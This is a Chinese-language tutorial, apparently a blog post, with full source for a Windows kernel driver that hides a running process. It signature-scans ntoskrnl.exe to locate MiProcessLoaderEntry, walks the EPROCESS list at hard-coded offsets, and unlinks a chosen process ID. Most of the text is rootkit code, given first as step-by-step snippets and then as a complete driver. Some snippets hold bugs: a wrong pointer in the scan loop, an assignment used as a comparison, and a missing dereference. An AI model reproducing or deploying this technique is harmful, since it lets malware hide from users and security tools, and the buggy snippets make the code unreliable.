MiProcessLoaderEntry在内核文件ntoskrnl.exe中,我们可以通过这个函数API隐藏进程,有两个参数,第一个为PLIST_ENTRY类型的结点,第二个参数为TRUE/FALSE
我们可以通过遍历驱动,找到ntoskrnl.exe,然后通过特征码搜索,找到该函数地址,再通过函数指针调用该函数
操作
1.第一步——获取特征码:

我们可以在ntoskrnl.exe找到MiProcessLoaderEntry函数,随便找两段字节码作为特征码(防止一段字节码可能不准确,另外最好往中间找,函数开始和末尾大部分为初始化操作,可能查找不准确)
CHAR szCodeFlag1[] = { 0xB1 ,0x1B ,0x88 ,0x45 ,0x0B };
CHAR szCodeFlag2[] = { 0x8B,0xCE,0xF0 ,0x0F,0xBA,0x29,0x1F };
2.第二步——遍历查找内核文件:
NTSTATUS SearchNtosKenlAddr(PDRIVER_OBJECT pDriverObject,ULONG retNtosAddr){
PLIST_ENTRY HeadNode = NULL;
PLIST_ENTRY NextNode = NULL;
UNICODE_STRING usKernelFileName;
PUNICODE_STRING pusTempKernelFileName;
RtlInitUnicodeString(&usKernelFileName, L"ntoskrnl.exe");
HeadNode = (PLIST_ENTRY)(pDriverObject->DriverSection);
NextNode = HeadNode->Flink;
while (NextNode!=HeadNode)
{
pusTempKernelFileName = (PUNICODE_STRING)((ULONG)NextNode+0x2c);
if (RtlCompareUnicodeString(pusTempKernelFileName, &usKernelFileName,TRUE)==0)
{
retNtosAddr = (ULONG)NextNode;
return STATUS_SUCCESS;
}
NextNode = NextNode->Flink;
}
return -1;
}
我们通过名字查找RtlCompareUnicodeString来遍历驱动链表,如果找到,就返回驱动文件的地址
0x2c偏移处存放的是驱动文件的名字,驱动文件的结构体是未导出的,需要我们自己定义
3.第三步——获取函数地址:
获取函数地址主要就是遍历内核文件字节码,匹配的时候返回即可,注意我们返回时需要注意减去特征码到函数首地址的偏移,这样才是真正的首地址
  NTSTATUS FindMiProcessLoaderEntryAddr(ULONG ulStartAddress,ULONG ulEndAddress,ULONG *retFunAddress){
for (size_t i = ulStartAddress; i < ulEndAddress; i++)
    {
      if (memcmp(ulStartAddress, szCodeFlag1, sizeof(szCodeFlag1)) == 0) {
        if (memcmp(((char*)ulStartAddress + 0x23), szCodeFlag2, sizeof(szCodeFlag2)) == 0)
        { 
          *retFunAddress = ulStartAddress;
          return STATUS_SUCCESS;
        }
      }
      (char*)ulStartAddress++;
    }
    return -1;
  }
0x23是两个特征码之间的偏移,两个特征码同时成立,才能算查找成功,返回的地址其实是第一个特征码的首地址,最后还需要处理
4.第四步——进程隐藏:
对于进程隐藏,其实就是对前面功能的整合
 NTSTATUS RemoveProcessListNode(PLIST_ENTRY pListNode) {
      ULONG ulNtosAddr;
      ULONG ulFunAddr;
      ULONG ulNtosStartAddr;
      ULONG ulNtosEndAddr;
      FunMiProcessLoaderEntry MyMiProcessLoaderEntry;
      SearchNtosKenlAddr(g_DriverObject, &ulNtosAddr);
      ulNtosStartAddr =*(ULONG*)(ulNtosAddr+0x18);
      ulNtosEndAddr = *(ULONG*)(ulNtosAddr + 0x20) + ulNtosStartAddr;
      FindMiProcessLoaderEntryAddr(ulNtosStartAddr, ulNtosEndAddr, &ulFunAddr);
      ulFunAddr = ulFunAddr - 0x1E;//获取函数头地址
      MyMiProcessLoaderEntry = ulFunAddr;
      MyMiProcessLoaderEntry(pListNode, FALSE);//true插入,false摘除
      return STATUS_SUCCESS;
  }
5.第五步——传入进程ID,遍历进程:
NTSTATUS HideProcess(ULONG ulProcessid) {//参数为进程ID
DWORD_PTR pEprocess = NULL;
ULONG ulProcessID;
pEprocess = (DWORD_PTR)PsGetCurrentProcess();//获取当前进程
PLIST_ENTRY HeadNode = NULL;
PLIST_ENTRY NextNode = NULL;
HeadNode = (PLIST_ENTRY)(pEprocess + 0xb8);//0xb8为进程链表
NextNode = HeadNode->Flink;//指向链表下一个
while (NextNode!=HeadNode)
{
pEprocess = (DWORD_PTR)NextNode - 0xb8;//指向结构头
ulProcessID = ((ULONG)(pEprocess)+0xB4);//指向进程ID的指针,进行取值
if (ulProcessID= ulProcessid)
{
RemoveProcessListNode(NextNode);//调用RemoveProcessListNode,删除进程
}
NextNode = NextNode->Flink;
}
return -1;
}
分解成多个步骤,就比较简单
效果

我们隐藏3560进程

现在已经消失了
        #include<ntifs.h>
        #include<intrin.h>
        PDRIVER_OBJECT g_DriverObject = NULL;
        CHAR szCodeFlag1[] = { 0xB1 ,0x1B ,0x88 ,0x45 ,0x0B };
        CHAR szCodeFlag2[] = { 0x8B,0xCE,0xF0 ,0x0F,0xBA,0x29,0x1F };
        typedef VOID(*FunMiProcessLoaderEntry)(ULONG ulEntry, LOGICAL lflag);
        NTSTATUS FindMiProcessLoaderEntryAddr(ULONG ulStartAddress,ULONG ulEndAddress,ULONG *retFunAddress){
            for (size_t i = ulStartAddress; i < ulEndAddress; i++)
            {
              if (memcmp(ulStartAddress, szCodeFlag1, sizeof(szCodeFlag1)) == 0) {
                if (memcmp(((char*)ulStartAddress + 0x23), szCodeFlag2, sizeof(szCodeFlag2)) == 0)
                { 
                  *retFunAddress = ulStartAddress;
                  return STATUS_SUCCESS;
                }
              }
              (char*)ulStartAddress++;
            }
            return -1;
          }
        NTSTATUS SearchNtosKenlAddr(PDRIVER_OBJECT pDriverObject,ULONG *retNtosAddr){
          PLIST_ENTRY HeadNode = NULL;
          PLIST_ENTRY NextNode = NULL;
          UNICODE_STRING usKernelFileName;
          PUNICODE_STRING pusTempKernelFileName;
          RtlInitUnicodeString(&usKernelFileName, L"ntoskrnl.exe");
          HeadNode = (PLIST_ENTRY)(pDriverObject->DriverSection);
          NextNode = HeadNode->Flink;
          while (NextNode!=HeadNode)
          {
                pusTempKernelFileName = (PUNICODE_STRING)((ULONG)NextNode+0x2c);
                if (RtlCompareUnicodeString(pusTempKernelFileName, &usKernelFileName,TRUE)==0)
                {
                    *retNtosAddr = (ULONG)NextNode;
                    return STATUS_SUCCESS;
                }
            NextNode = NextNode->Flink;
          }
            return -1;
        }
        NTSTATUS RemoveProcessListNode(PLIST_ENTRY pListNode) {
            ULONG ulNtosAddr;
            ULONG ulFunAddr;
            ULONG ulNtosStartAddr;
            ULONG ulNtosEndAddr;
            FunMiProcessLoaderEntry MyMiProcessLoaderEntry;
            SearchNtosKenlAddr(g_DriverObject, &ulNtosAddr);
            ulNtosStartAddr =*(ULONG*)(ulNtosAddr+0x18);
            ulNtosEndAddr = *(ULONG*)(ulNtosAddr + 0x20) + ulNtosStartAddr;
            FindMiProcessLoaderEntryAddr(ulNtosStartAddr, ulNtosEndAddr, &ulFunAddr);
            ulFunAddr = ulFunAddr - 0x1E;//获取函数头地址
            MyMiProcessLoaderEntry = ulFunAddr;
            MyMiProcessLoaderEntry(pListNode, FALSE);//true插入,false摘除
            return STATUS_SUCCESS;
        }
        NTSTATUS HideProcess(ULONG ulProcessid) {
            DWORD_PTR pEprocess = NULL;
            ULONG ulProcessID;
            pEprocess = (DWORD_PTR)PsGetCurrentProcess();
            PLIST_ENTRY HeadNode = NULL;
            PLIST_ENTRY NextNode = NULL;
            HeadNode = (PLIST_ENTRY)(pEprocess + 0xb8);
            NextNode = HeadNode->Flink;
            while (NextNode!=HeadNode)
            {
                pEprocess = ((DWORD_PTR)NextNode - 0xb8);//指向结构头
                ulProcessID = *(ULONG*)(pEprocess+0xB4);
                if (ulProcessID== ulProcessid)
                {
                    RemoveProcessListNode(NextNode);
                    return STATUS_SUCCESS;
                }
                NextNode = NextNode->Flink;
            }
            return -1;
        }
        VOID DriverUnload(PDRIVER_OBJECT pDriverObject) {
          DbgPrint("Unload Driver Success! ");
        }
        NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) {
          DbgPrint("Load Driver Success!");
            pDriverObject->DriverUnload = DriverUnload;
            g_DriverObject = pDriverObject;
            HideProcess(3560);
          return STATUS_SUCCESS;
          }